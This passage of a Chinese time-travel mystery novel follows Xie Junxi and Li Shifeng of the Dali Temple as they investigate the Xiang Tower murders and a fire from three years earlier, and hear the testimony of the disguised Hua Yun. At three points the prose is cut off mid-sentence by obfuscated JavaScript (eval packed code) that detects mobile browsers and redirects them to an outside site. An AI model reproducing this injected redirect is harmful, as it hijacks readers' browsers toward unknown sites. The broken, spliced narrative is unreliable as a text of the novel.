谢筠熙一想到他们就恨得有些牙痒痒,但她仔细一听,里面发出的惨叫声却是一层盖过一层,心下觉得好了很多:有的时候真的十分认同李时丰的做法,对恶人就要以其之道还治其人之身! 正躲着,突然觉得肩头一沉,熟悉的感觉传来,谢筠熙几乎有些免疫,她淡定地回头,入目的果然是大理寺的人,只不过,来者正是被她调戏的花昀。 “呃呵呵呵呵,那个……怎么是你……”谢筠熙尴尬地笑了笑,将身一扭从花昀的钳制下逃脱,快步离开了这个是非之地。 “欸,你别跑啊……”花昀追了上去。 谢筠熙跑到了一方没有人的小院,回头看看没有人,正要松一口气,一道声音从她身后幽幽响起:“别跑了,你逃不掉的。” “我靠……”谢筠熙的心率还没有降下来,被吓得差点跌坐在地。 你们大理寺的人都带点闪现技能吗,跟鬼一样救命…… 花昀走向当场摆烂的谢筠熙,好笑地看向一脸灰白的她,开口问出来的第一句话却让谢筠熙诧异:“你前几日说觉得我适合扮作女子是什么意思?” 这能说吗……谢筠熙有些摇摆不定,她拿不准李时丰这帮下属的可信程度。 “告诉我吧,我方才回去的时候仔细想了想为什么你要说这句话,老大他虽然什么都没有告诉我,但这些日子带我去了几趟香楼,让我一起搜查那个案发地,在那里有些东西让我觉得熟悉得毛骨悚然。”花昀说着忍不住缩了缩脖子,“而且还有一件很诡异的事,我总觉得有人一直在给我提示,包括那三只小狸奴。” “你为何如此笃定?”谢筠熙现在逐渐平静下来,但她没有想到花昀会主动跟她提这件事。 “那跟许多年前的又一个案件有些牵连,我现在不太方便告诉你。”花昀摇了摇头。 “你既然也不坦诚,那我有什么理由跟你坦诚,你的可信度还不足以让我告诉你。”谢筠熙严肃起来。 “若我说,许多年前,我曾认识了一个与我长得十分相像的人呢?” 花昀的话如一道惊雷,将谢筠熙彻底说蒙了,但还没等谢筠熙继续追问,花昀先兀自说起来:“跟我来,这里不便说话。” 谢筠熙就这样一脸懵逼地跟着花昀回到了侧厅,又一脸懵逼地与花昀面对面坐下,开始听他的推断:“这世上就有如此神奇的事情,虽非同一父母,但偏偏有些人就是长得一模一样,只是性子有些不同,那个时候,我第一次看见那人,就觉得浑身起了鸡皮疙瘩,但他那时很狼狈,倒在地上行乞,看上去像是从某处逃出来的,当时京城并不太平,这样的人我见了很多,于是那天我同以前一般,给那人塞了两枚铜钱,看清那人脸的时候,我吓了一跳,但当时并没有觉得什么,于是就这样离开了……” “为什么那天你老大找你问话时候你不说?”谢筠熙打断了花昀的话。 “我这人,忘性大,跟案件没有关系的事情,我是不会记得太清的。”花昀解释。 “那你现在为什么又记起来了?”谢筠熙狐疑地挑了挑眉。 “这不是,又在查案吗?” 谢筠熙闻言惊诧不已:“你能自动略过对案件不重要的信息但是如果有必要就可以再想起来?” 好吧……他都是大理寺的人了,肯定有过人之处。 “你这记性,又好又不好的……” 花昀笑了笑,继续推断:“后来,我又见了她一次,只不过……” “那个案子?”谢筠熙立刻反应过来。 “只不过只有一眼,但对那个案子来说,她似乎并无甚关系。”花昀突然颦眉,“不对,现在不能这么说了。” “是男是女?”谢筠熙的话将花昀问得有些愣神,就见花昀迟疑了一瞬,似乎又陷入了沉思之中。 “男子……”花昀纠结,“不对,女子……” “我在香楼遇见的,是一个可以由女子变为男子的人,长得跟你很像”谢筠熙思量了一阵,就这样说出了口。 “那就对了!就是她!等老大回来我就去告诉他!”花昀突然很是激动,他握住谢筠熙的肩膀,很高兴地道了谢。 这人好生奇怪…… “等一下,那狸奴的事……”谢筠熙急忙将花昀拉回来,“你说清楚再走。” “多年前那场案子,我们最后报给皇上并且公之于众的,死者之中有三个无辜牵累的小民,是一母二女。” 谢筠熙瞳孔骤缩:“这个案子到底是什么?” 花昀却没有直接回答:“其实……这案子三年前还挺著名的……但……我建议你自己去查查吧,老大不允许我们随意提起这个案子。” 罢了,打工人不为难打工人……谢筠熙叹了口气,向花昀摆了摆手。 花昀正要离开,突然想起了什么,把怀里的事物掏出来放在了桌上:“对了,差点忘了本来要找你做的事,你朋友的信,真不知道她的信鸽是怎么找到这来的。” “你怎么摘知道是给我的!”谢筠熙被吓了一跳。 莫非身份暴露了…… “你看,这上面写了‘给待在此处的唯一一个女子’,不是你是谁?”花昀指着信条上的小字。 艾诺你有点神了……究竟是何方神圣…… 谢筠熙哑口无言。 花昀离开侧厅的时候,谢筠熙刚看完艾诺的信,脑子很乱,她思考着收集到的信息,总觉得有种一切都要水落石出,但总还有什么藏在背后的感觉。 她突然想起来刚开始查香楼案的初衷,是为了找到一些跟谢相有关的线索,可如今,似乎什么都没有找到。 总觉得冥冥之中,有什么东西一直在引领她……自从穿越到辰朝,因为她的介入,这段历史也在不断被改变,可是最近她接收到的一些信息量实在过大,就像总有人在催促她修正错误,将一切带回既定轨道一般,饶是她看小说多年,也曾怀疑有系统这种东西的存在,但……很遗憾,她从未找到过,至于这是什么,她现在完全没功夫去探究。 香楼案之后,一切都会有迹可循…… 李时丰回来的时候,看见的正是谢筠熙愁眉苦脸的模样,甚至连他推门都没有察觉到一点。 “你干什么呢,这样一副濒死之人的表情?”李时丰拿手在谢筠熙面前晃了晃。 “李时丰,你懂什么叫做剪不断,理还乱吗?”谢筠熙一把抓住李时丰乱晃的手。 “活腻了,直接叫本官名讳,松手!”李时 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“给你半日时间,确认完立刻回来。”李时丰总觉得这件事不做会遗漏什么,他批准了谢筠熙的请求。 “多谢大人。”谢筠熙向李时丰道谢。 回到艾诺家的那一刻,谢筠熙先闻到的是一股强烈的血腥味,她的心瞬间就揪了起来,立刻冲进艾诺的房间,下一刻却被眼前的景象震碎了来之前做的心理建设。 “花……花……花……芸?”谢筠熙被吓得往后退了一步。 “小姐,就是她,那日过来送信之人!”蕙兰有些畏惧地缩在角落。 方才还在那讨论的对象突然出现在眼前,这跟谢筠熙所想的完全不一样。 眼前之人浑身伤痕累累,衣裳被尽数剥去,却穿了裹胸,此刻躺在艾诺的床榻上一言不发地望向谢筠熙。 “小今安,这究竟是怎么回事……”艾诺有些担忧地扶住摇摇欲坠的谢筠熙。 “等一下,等一下……”谢筠熙的脑子里此刻一团乱麻。 “你是花芸吗,哪个芸?”谢筠熙离花芸一尺远才敢问。 “草字头,流云的云。”床榻上的人平静地回答。 “你是谢相的女儿吗?”她反问。 “我……”谢筠熙没有想到她已经知道了自己的身份,“我是……你到底是何目的?” “你知道三年前的纵火案吗?”花芸很突然地提起来。 “艾诺,你带蕙兰先去别处,我只有半日的时间。”闻此言立刻向艾诺说道。 艾诺明白了谢筠熙的意思,乖乖将蕙兰带离,同时向谢筠熙投以“注意安全”的目光。 “你放心,我不会对他们怎么样,也不会对你怎么样,不日我就会亲自去官府自首的,只是我希望,官府能重启纵火案。”花芸刚刚被包扎完,语气有些虚弱。 “你先回答我,你是不是冒充过花昀。”谢筠熙质问。 “是……连带着给你侍女送信的也是我。”花芸很爽快地承认。 “连李时丰都没分辨出来你?”谢筠熙摇头,“这不可能!” “这世上哪有这么多不可能。”谢筠熙听到花芸突然变换出的与花昀一模一样的声线一惊。 “我可以是他,这么多年来,一直都可以是,也可以是我自己。” “你跟他……认识?”谢筠熙有些不太确定地开口。 “是啊……只是他只是觉得这是一面之缘罢了,我却觉得这是一个契机。” “好吧……你继续说说纵火案的事吧。”谢筠熙处理了一下脑中的信息,继续询问。 11. 一切巧合? 三年前,花芸照常替养母外出采买草药,谁知刚回到城中,就见养母家的房子那处火光大盛,她马不停蹄地赶过去,发现火光最大的地方,是前日刚刚凯旋的镇北将军府,因为将军府年久失修,火势已经蔓延到附近的居民区听到街上百姓议论,几乎全是“镇北将军……”“李将军……”等字眼,她没有时间在意这些,只知道,等赶到养母家时,养母和两个妹妹被压在了房梁底下,她想要跑进火场将房梁搬开,被养母厉声制止。 “有人吗,这里也走水了!快来救人啊!快来!快来……”花芸想要求路人帮助,但是隔壁的将军府吸引了所有人的目光,扑火的家仆和一些主动上前帮忙的京中百姓……但就是没人注意到他们家这边的情况…… 花芸的嗓子喊得声嘶力竭,奈何火光与烟雾将所有人的目光都遮挡得一干二净,养母两手都护着年纪尚小的女童,眼含泪光用最后几分气力冲花芸吼道:“小云,不要管我们了!你自己先逃出去!” 花芸无助地望向养母,近乎绝望地用尽全身力气想要抬起房梁,无果。 “郭睿呢!他人呢!这狗娘养的东西是不是又拿着娘你的钱跑出去了!”花芸想起了家里面唯一一个男人,绝望之余,怒火裹挟着热浪将她的整颗心都燃烧起来。 “不要管他,小云!郭兴他不是人!现在最重要的,是你活着出去!”养母的眼里满含泪水,语气却异常坚定,她耗尽了最后一丝力气喊出这句话,便因为吸入过多烟雾彻底昏死了过去。 两个妹妹在自己亲娘的怀里抽噎得上气不接下气,花芸望向眼前这一切,烟雾逐渐蒙蔽了她的双眼,她疯了一般跑出去,想要寻找水源来扑灭这场大火,可是井在家后,她现在根本就绕不过去。 徒劳地望着眼前的一切,不管不顾的养父、无暇顾及的路人、无能的自己,花芸的天地一片灰暗,她放下背上的竹筐,眼前的火光逐渐在她眼中变得涣散…… 下一秒,她正想要跑进火海里,却被一双大手牢牢钳制住。 她以为来了救兵,如同看到了破土的希望,满含期待地回头看去时,看见的却正是养父那张道貌岸然的丑恶嘴脸。 “嘿……正好,钱全都拿到了,这娘们和她的两个拖油瓶终于要被烧死了,还有一个意外收获……”郭睿仿佛局外之人,冷眼瞧着两个亲女儿和妻子逐渐被大火吞噬的身影,下一秒手臂传来一阵刺痛。 花芸流着泪,不顾一切地撕咬着此等卑鄙之人的手腕,将他痛得骂了声娘:“嘿——¥%……%,得亏老子养你这么久!” 花芸结结实实挨了这畜生一拳,脑袋一阵剧痛,随机感受到一股热流顺着脑门流下来,再接着眼前一黑,彻底失去了意识。 闭上双眼前,她似乎听到那畜生正在和一个陌生的人交代些什么,但她完全听不清楚到底在说什么…… 花芸感觉自己已经死了,灵魂好像来到了阴间,但是在那里也燃烧着火光,养母和妹妹们的哭声,畜生养父的得意大笑,在她耳边交织,她一时之间分不清……分不清这到底是人间还是炼狱。 直到她醒来的时候,入目的是一间黑漆漆的屋子,这里伸手不见五指,她感觉自己的骨头好像断了,钻心的疼痛让她完全动弹不得,只能躺在冰冷的草堆上,麻木的双目望向上空,一滴泪都流不出来。 谢筠熙听到这的时候,望向花芸的眼神已经从警惕变成了不可置信,她问出话时生鲜有些颤抖:“是不是……那个畜生把你……卖了……” “猜得真准。”花芸扯了扯嘴角,突然剧烈地咳嗽起来,“咳咳咳……” “如果我记得没有错,当今榜眼……似乎就叫……”谢筠熙的脸色难看起来,突然觉得有点想吐。 “咳咳……是啊,这个畜生当年做了这么多不是人的事,却还是将自己撇得干干净净,我甚至不知道他到底是得了什么门道,才能走到今天这个地步,这个道貌岸然的畜生!咳咳咳……” 花芸愤愤地咬住了下唇,血水顺着唇角留下。 谢筠熙实在有些于心不忍,她走过去替花芸顺了顺背,示意她继续说。 “后来,这畜生不知道我被卖去了香楼,自然也不知道我一直在盯着他……” “等一下花芸,为何我去香楼的时候老鸨说没你这号人?”谢筠熙突然想起来老鸨的矢口否认。 “因为那个时候香楼的人都觉得我已经死了,你躲在那个房间里的时候,听到的那声叫唤也是我说的。”花芸推开谢筠熙,那张有些雄雌雄雌莫辨的脸就这样安静地对着她。 “你……故意让我知道那……”谢筠熙了然。 “没错……”花芸垂眸,眼底蓄着看不清道不明的情绪。 “可是你是怎么知道……我是谁……”谢筠熙的疑惑依旧没有解开,还有那封密函,到底是谁修的? 谁知花芸摇了摇头,却不再说下去,她只是淡淡道:“明日我便要离开了,至多再过三日,香楼案就会彻底结案,适时若我能活着见到你……算了……我应该不会活着。” 谢筠熙总觉得这背后所藏的隐情比想象中还要可怕,见花芸真的不愿再说下去,只好作罢。 “我就最后再问一个问题,你……知道我可以修复密函吗?” 谢筠熙问出这话的时候,迟疑了一瞬,但最终还是说出了口。 “我不知道。”花芸又摇了摇头,表情甚至看上去有些不解。 “什么?”谢筠熙突然有些后悔。 “我只是知道,我可以把消息告诉你,因为你是谢相的女儿。” 花芸的话让谢筠熙有些意外:谢康?这又是为什么? 可花芸点到为止,并没有再多说,只好谢筠熙自己琢磨。 半日的时间很快就过去,谢筠熙这次回来直接同艾诺要了易容的简单手法,成功后在艾诺与蕙兰依依不舍的目光之中带走了些许工具和纸糊的面具便再次返回大理寺。 这次回去,她直奔正厅,找到了正在处理公务的李时丰,上来便问:“大人,请你告诉我三年前那场纵火案的细节。” 这次陆贰和徐柒都在正厅,两人再次被此女不同寻常的但魄给震惊得双双侧目,生怕下一秒就看到什么血腥的场面。 果不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326844|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其然,李时丰的面色这次是彻底冷了下来,他那危险的双目里透露出露骨的杀意:“花昀没有跟你说过,任何人都不准提这个案子吗?” 我记得据史载李时丰乃当今大理寺卿的义子,这个纵火案的年份应该与其被收为义子的时间十分相近,但纵火案一事却在历史上根本没有相关考古证明,谢筠熙在学习时也没有听过,而且镇北将夫妇的死因至今不明,现代考证时的说法众说纷纭,并没有统一的结论,如今看来,此事似乎有破解的机会了。 而且……镇北将军的真名,在后世也颇受争议,有人说他因功绩过人受皇姓叫赵项年,又有人说他似乎是前朝名将的后代,世传姓李,又有说姓刘的,没有人能给出答案。 “你……认识镇北将军吗?” 问出这话的下一秒,谢筠熙感觉自己的眼前寒光一闪,还没看得清发生了什么,谢筠熙地脖子蓦的一痛。 谢筠熙不敢低头,她知道一定又是李时丰的刀,但是她不知为何却格外兴奋,竟然自己上前了一步,将那刀尖离自己更近了一些。 这女人今天怎么回事…… 李时丰的刀不动声色地后退了一些。 真相!真相到底是什么!我现在在修复的……不止是历史的载体,而是历史本身……那些过去的……被掩盖在尘埃里的……一切……我都要将他们看得清清楚楚…… 谢筠熙觉得有这样一个声音在心底叫嚣,让她觉得自己有些毛骨悚然。 “本官为何要告诉你?”李时丰见她没有半分退让的意思,冷冷地反问。 谢筠熙突然清醒过来,她所面对的,不只是历史,更是活生生的,站在她面前的人…… “……对不起,大人……”谢筠熙踉跄着后退了半步,愧疚地低下了头。 李时丰把刀收了回去,语气里还是带着冰碴:“你回去一趟是不是有人跟你说了些什么?” 谢筠熙回想起花芸的话:“我……已经知道香楼案的凶手是谁了。” “是花芸吗?”李时丰很直接地开口,甚至没有一点留给谢筠熙缓冲的余地。 “你……已经知道了?”谢筠熙很是错愕。 “方才有人找到大理寺,在门口丢下了一个包裹,里面就有一封信,一柄长刀,还有一捆细绳。” 谢筠熙这才注意到李时丰桌上的那些事物,不由有些语塞。 “信上交代了香楼案的凶手,具体的作案手法,最后说到不日便来自投罗网。” “哦对了,她还交代了冒充花昀的事情,本官从未见过如此嚣张的凶手。”李时丰指着那些事物叹为观止。 “……”谢筠熙沉默不语。 “此事是否有蹊跷,快给本官老实交代。”李时丰对谢筠熙的沉默感到意外。 “那……第二具尸体呢……有说是谁干的吗?还有那三只咪咪……” 谢筠熙小心翼翼地提问。 “这倒没有说。”李时丰摇头。 “这世上怎会有如此巧合的事!”谢筠熙突然萎靡不振。 李时丰不置可否,只是一味看着谢筠熙。 12. 自投罗网 因为香楼案的证据来得太突然,大理寺并没有直接张贴通缉令,而是不动声色地缓冲了两天,这两天里谢筠熙收到了艾诺的来信,上面是她特意同艾诺嘱咐过的洋语,她那日回家时,有问过艾诺送信的方式,得知她既会占卜,又会驯养信鸽,谢筠熙对此女的认知再次刷新出一个高度,简直到了啧啧称赞的程度。 花芸离开艾诺家的日子就在谢筠熙回到大理寺的后一天,这让谢筠熙怀疑李时丰收到的那封信是另有人所为,只不过应当与花芸早已提前串通好了。 不过这些她并没有立刻告诉李时丰,而是同李时丰一起在缓冲的这几日,继续寻找另一些疑点的证据。 此时正厅的隔间里,谢筠熙正对着布包里的那三样东西进行更加深入地探究。 回想起前几日花芸的突然造访和匆忙离开,谢筠熙直觉这些行为应当是她本人的意愿,她就像是在躲什么东西,或者说,像是在躲什么人…… 那绳子的材质看着与香楼里见过的倒是如出一辙,若证据确凿,应当是花芸故意留在那的,而剑是杀人工具,上面的血迹甚至都没有被擦干,谢筠熙拣起那封信,看着上面的字迹,想起来蕙兰说送信之人的事情。 既然花芸是那送信之人,那那封看上去是李时丰写的信也应该不是他本人所写,花芸有偷换身份还不被李时丰发现的本事,也应当有模仿他人字迹的本事,模仿对于花芸来说,似乎像呼吸一般简单。 难怪李时丰那天晚上问自己为什么来得这么早,还说了公开查案一事而自己却完全不知情。 谢筠熙的大脑飞速运转着。 观察那封信的时候,谢筠熙判断着这纸的材质,被折叠的痕迹,以及墨水的陈新,在反复摸索的时候,终于在纸张的左下角发现了一个熟悉的东西,那是一个有些散乱的痕迹,很像是不小心蹭上去的。 那个梅花印?这张纸和密函那张倒是同一个材质,甚至连落笔时间可能都是一样的。 不过这只是谢筠熙地猜测,至于这信是不是花芸写的,以及这个印子的目的究竟是什么,就要看能不能见到活着的花芸了。 不过好像还有一个人刚开始的时候就知道那信上有梅花印来着…… 谢筠熙思及此,又从隔间绕到了正厅。 李时丰依旧埋在那成堆整理出来的线索卷张里面,连头都没有抬一下,两边的陆贰和徐柒则帮自家老大默默整理着这些纸张,有序地进行分类。 “大人!”谢筠熙很突然地出声。 “有屁就放。”李时丰稳如泰山,倒是一旁的陆贰被吓得手里的纸张飞出去了几张。 什么嘛,又没被吓到……没意思,每次都是我被吓…… 谢筠熙撇了撇嘴,弯腰捡起地上散落的纸张,递给陆贰。 因为徐柒和陆贰对李时丰的忠实程度,谢筠熙倒没有必要避着他们俩说话,于是很直接地开口:“你是不是从一开始就知道信上那个梅花印来着,大人?” “嗯,怎么了?”李时丰丰手中的笔就没有停下来过。 “这次花芸的来信似乎也有一个梅花印。”谢筠熙一边说着,一边偷偷后退了两步,生怕又戳到什么李时丰的雷点。 “嗯,本官看到了,那个梅花印当初其实是本官胡诌的,其实本官也没想到密函被你修好之后有印子,也没有想到新来的那封信上有。” 李时丰的坦诚让谢筠熙有些炸毛:“不是?啊?!所以说那不是梅花印是吗?” 李时丰就没有回答,只是一味地陷入沉默。 陆贰和徐柒此刻悄悄停下了手中的动作,不知何时站到了一旁,充当空气人降低自己的存在感。 “我为什么就这么信了你……可恶啊可恶,后来回去之后看那个痕迹越看越像梅花,我真的以为这是什么重要线索,结果大人你跟我说这是你胡诌的?”谢筠熙此刻有些火大,但是另一个想法在她脑中划过,她没有立刻说出来,而是决定先对李时丰的行为进行讨伐。 “是又如何呢,谢小姐,那个时候本官根本没有理由直接信你不是吗?”李时丰终于停下了手里的工作,抬眸看了一眼谢筠熙此刻有些被气红的脸颊。 两个充当空气的下属此刻却有些震悚:原来这个女子是谢相的女儿吗?!!可是怎么感觉她不太像啊……之前跟着老大的时候远远见过一次,不对吧……不行!这事少打听!不然下月俸禄又要没了! 陆贰和徐柒不可置信地互相对视了一眼,眼神从震惊到怀疑再到下定决心,十分之有默契地自动绕到了隔间去。 只剩下李时丰和谢筠熙的正厅此刻再次陷入了沉默,谢筠熙亲眼目睹了那两个人机的离场,此刻有些想笑,但是碍着要压李时丰气势一头的念想,只能拼命抬高自己的下巴,装作自己更加生气的样子。 结果换来了李时丰一句:“你再拿鼻孔对着本官,本官就不客气了。” 谢筠熙一开口没有绷住:“谁让……噗哈哈哈哈哈那两个人……这么好笑哈哈哈哈哈!” 李时丰用看关爱弱智的眼神看向谢筠熙,就这样面无表情地盯着她笑到倒在地上,最后又自己爬起来。 活爹诶……李时丰此刻有千言万语堵在心里说不出,他还是想不明白这个曾经虽然只有一面之缘,但一眼就能看出来端庄优雅的嫡女为何现在是这副模样。 “你还要不要把那印子的事情说清楚了?”李时丰无奈扶额。 “说!本小姐今天就跟你掰扯个明白!”谢筠熙收笑,“我觉得那个梅花印,虽然现在知道你是胡诌了,但是我觉得还朕挺像的,而且更像……咪咪爪子。” “……咪咪到底是什么?”李时丰汗颜。 “呃……就是狸奴的另一个叫法,你唤狸奴的时候不用这种语气叫它吗?”谢筠熙对这个全Z国都通用的叫法在古代没有生成的事情陷入了怀疑。 “很不幸,本官没有那种体验,狸奴见到本官,一般是绕道走开的。” “原来如此啊——那只能怪你太吓人了大人”谢筠熙意味深长。 “接着说。”李时丰摆了摆手,不相跟她继续纠缠下去。 “有没有一种可能,那印子是狸奴爪印留下的呢?因为我瞧着那些印子似乎也没有什么特殊的规律,但是留痕又轻,像是小狸奴,那么死去的那三只……如果是花芸留下的,为什么?”谢筠熙说着说着,语气又有些不忍。 “也有可能不是她杀的。”李时丰突然打岔,“而是她故意丢在香楼里,为了证明什么的。” “这狸奴是从哪里来的?是她养的吗?”谢筠熙突然一拍桌子,“如果不是她,那就是有人将这几只可怜的咪咪折磨死了,然后丢给花芸,警告,这是警告吧!” 谢筠熙的动静把桌上的纸张又拍掉了几张,引来李时丰的侧目,她又认怂地捡起那几张纸铺到桌案上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢筠熙靠在木椅上,她呆呆地望着临时被拉起来的布条,喃喃道。 谢筠熙从小受到妈妈的影响,天然就有一种追求真相的倔强,她将这种倔强带到了之后的工作里,也带到了自己对历史的热爱里,导致她有时候会被同事和学生说“痴”,修复文物也是,研究历史也是,对于这些过去的人、事、物,她想要尽可能完美的地将他们遗留的东西加以证实。 她时常天马行空地想着,曾经的一切也许同史书上的记载有些出入,她想弄清楚,但是只能通过一些仅有的文物证实。 如今她真的来到了过去,她不希望这一切的一切被无情打断。 “你就这么珍惜她?”李时丰的声音打断了谢筠熙虚无缥缈的思绪。 “她如果死了,香楼案背后的人就得手了,连带着……三年前的冤魂也无从了解了,历史会把一切都冲淡的。”谢筠熙提到“三年后”时,显然顿了顿,瞄了一眼李时丰,见他没有什么反应,才敢继续说下去。 “那就等她醒来之后交代这一切吧,我再去上报皇上此事。这几日大理寺恐怕要成为众矢之的了,你最好不要露面。” 李时丰撂下这样一句话,没有再说什么。 “嗯,我听你的,大人。”谢筠熙木然的双眼变得亮了些,头一次没有跟李时丰唱反调。 13. 陈述 花芸的命暂时保住了,只是因为陷入昏迷,大理寺只能延缓对她的审问;李时丰这些日子几乎每天都要进宫面见皇上,在大理寺的时间少之又少。虽然大理寺日前已经封锁了凶手自投罗网的消息,但几日前受伤女子出现在大理寺门口的传言如同长了翅膀般在京中传开,这几日前来大理寺拜访等的官员不在少数,只是统统被陆贰和徐柒两个副官拦在了门外。 谢筠熙因为身份特殊最近几日一直都待在侧厅里没有出去,因为大理寺中目前只有她一个女子,所以花芸也理所当然地被安排在了谢筠熙的房间里。 满屋的中草药气味熏得谢筠熙有些昏昏欲睡,她费力地撑开逐渐合上的双目,坐在榻边注视着花芸苍白的面孔,生怕错过她醒过来的那一刹那。 “花芸,我不知道你到底经历了什么,也无权评判你的所做所为,但若是你能醒过来,我愿意保证,你的故事一定会出现在历史长河里被后人所知晓,这桩所谓的千古谜案也一定会以真相大白的模样让那些本该遗臭万年的人永世不得翻身。” 谢筠熙低声说着这段愤愤之言,想到了原本的历史:香楼案以榜眼同乡因妒忌之心死于非命结案,其中凶手名字,作案手法一一不能得知,而郭睿则成了世人口中英年早逝,无辜受妒的未竟之才,其生前遗作广为流传,被点评为抱憾之作,皇上因痛失人才对其进行追封,同时香楼被抄检,所得之财净数充公,因香楼常客包含一些朝中官员,一时之间朝中之臣作风大变,引得皇上更为满意,于是此案更是草草了之,没有后文;而那场纵火案在历史上的记载也只有寥寥几笔,只说了镇北将军夫妇因意外死于大火,帝悲恸不已,下令彻查此事,结果为意外所致,帝无法只得让其夫妇同葬皇陵,其子加官进爵,荣华富贵一生延续至后代。 回头一看,谢筠熙突然发现这些疑点重重的案子背后竟掩藏着如此多腌臜事,又献祭了不知多少人命,真相竟如此令人作呕,这更加坚定了谢筠熙对谢相一事彻查到底的决心,她要亲手揭开这层厚厚的纱布,让那些该死之人无处遁逃。 就这样想着日后的打算,谢筠熙不知何时彻底陷入了梦乡之中,等到第二天一早起来的时候,发现自己以一种诡异的姿态趴在榻边,不知何时整个身子都从椅子滑落到了地上,脑袋差点掉下床沿的失重感让她被吓得瞬间从地上挺坐起来,紧接着就听见了一声微弱的气音:“你醒了……” 那声音像是游走在鬼门关,几乎辨不出语调,只有轻微的气流音,却让谢筠熙的目光对着床榻上那个僵硬的身体放射出惊喜的光芒:“你终于醒了,花芸!” 下一刻,关心的话语密密地向床榻上的人砸去:“现在觉得身体怎么样?有没有好一些了?手上的伤还痛吗?还有……” “我看不见了……”花芸突如其来的话让谢筠熙一怔,紧接着她轻轻将手负在花芸缠满绷带地双眼上,不顾脖颈处传来的落枕刺痛将头偏向花芸的耳边,轻声安慰:“至少你现在活着,即使看不见,我们能做的事还有很多很多……” “……对,我又活下来了。”花芸突然也转过头,同谢筠熙的眼睛对上:“谢谢你。” 谢筠熙诧异:“谢什么?” “谢谢你相信我说的话。”花芸说完,屋里再一次陷入了沉默。 “若证据确凿,这一切的一切都会被改写,这是必然的,你的努力不会白费。”谢筠熙轻轻将手移开,“辛苦你了,一直这么努力地活下去,就为了证明一件被所有人都订上板订的事。” “我会如实相告,一切。”花芸顿了一下,有些迟疑,“但那个人,你们现在还不足以应付。” 谢筠熙并没有对此发出疑问,只是以肯定的形式回答:“那就继续寻找证据,修复证据,直到整件事情水落石出。” 花芸的嘴唇轻轻嗫嚅,但最终还是没有说什么,只是落下一句:“好。” 李时丰来的时候,透过门缝看见的便是谢筠熙和花芸头靠头说话的场景,他有些莫名的不爽,但是也没有搞清楚这突如其来的情绪究竟从何而来,下一秒,就推门而入。 “你醒了?”李时丰站在两个女人的不远处,背着手出声。 谢筠熙听见李时丰那熟悉的声音,突然就跟打了鸡血般从地上站起来,满眼星光跑向李时丰,一边跑一边又“嘶嘶”抽气,也不知道是什么毛病。 “大人!花芸她终于醒了!接下来我们要做什么?” “我先来做口供,她可以正常说话了吗?”李时丰侧身避开谢筠熙,淡淡道。 谢筠熙在撞上门板的那一刹堪堪刹住车,回头用幽怨的目光瞄了李时丰一眼,见他依旧无动于衷地淡定看着自己,这才老实起来,自己又吭哧吭哧把床榻边的椅子搬来,就在李时丰跟前坐下:“可以是可以,不过她好像说不了有太多话,你问的时候对人家稍微温和一些。” “本官为什么要对一个犯人温和?”李时丰长腿一迈,直接略过谢筠熙就往床榻边走去,离开前撂下一句:“你要是想在门口坐着,那就当好看门的小厮,一会有什么动静捂紧门就好。” “你要做什么啊喂,别把你平时逼供犯人那一套用在她身上!”谢筠熙慌忙起身,溜过去寸步不离地跟在李时丰身后。 “老……大人。”花芸虽然看不见,但多年的伪装让她对李时丰的的脚步声十几敏感,她听见李时丰站定的声音,下一秒就跟平日里伪装时一般恭恭敬敬地想要将“老大”喊出口,但忽然意识到自己已经被拆穿了身份,这才默默改口。 “本官可不老。秋芸,你还真是厉害,连本官都能骗过去。”李时丰说出这句话时,语气里多是刺骨的寒意。 “属下……草民知错,大人责罚就是。”花芸,此刻应该说是重获真名的秋芸,正艰难地想要从榻上坐起身,被一旁的谢筠熙眼疾手快地扶住后背。 “多谢谢小姐,不必了。”花芸轻轻道了声谢,却拒绝了谢筠熙的好意搀扶。 李时丰漠然地注视着眼前的这一切,有些气不打一处来:“她要搀,你让她搀便是,不用拒绝。” 秋芸只好不再作声,接受李时丰的审问。 “你先告诉本官,你潜入大理寺有多久时日了。”李时丰把谢筠熙放在门口的椅子拖来,又将木桌竖着摆放到榻边,在上面铺好笔墨纸砚,开始了今天的问话。 “回大人,两年不到。”花秋芸此刻的嗓音虽然还是有些沙哑,但总算清明了一些。 “本官没来大理寺之前你便来了?”李时丰突然回头死盯住秋芸,那探究的目光像是要将秋芸扒开来看似的。 “是。”秋芸答,语气并没有什么波动。 谢筠熙却看到李时丰在听到秋芸说这话时,眼底显然闪过了一丝别样的情绪,但很快又被寒意所代替。 “好,花昀的腰牌你是怎么得到的。” 秋芸明显地迟钝了一下,但还是继续回答:“草民从小记忆过人,花大人的腰牌我见过一次便可以将它完整地画下来,然后……以此为筹码跟别人交易,又重新找人按着我画的样式完完整整复刻了一份出来。” “和谁?仿刻京中官员腰牌,是死罪,谁给你这么大的胆子的。”李时丰的眉头狠狠皱了起来。 “大人,不妨先问问香楼案的事情。”秋芸却没有正面回答李时丰这个问题。 李时丰的脸瞬间就拉了下去,一旁的谢筠熙见事情不对,赶忙开口:“大人,香楼案的事要紧,等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 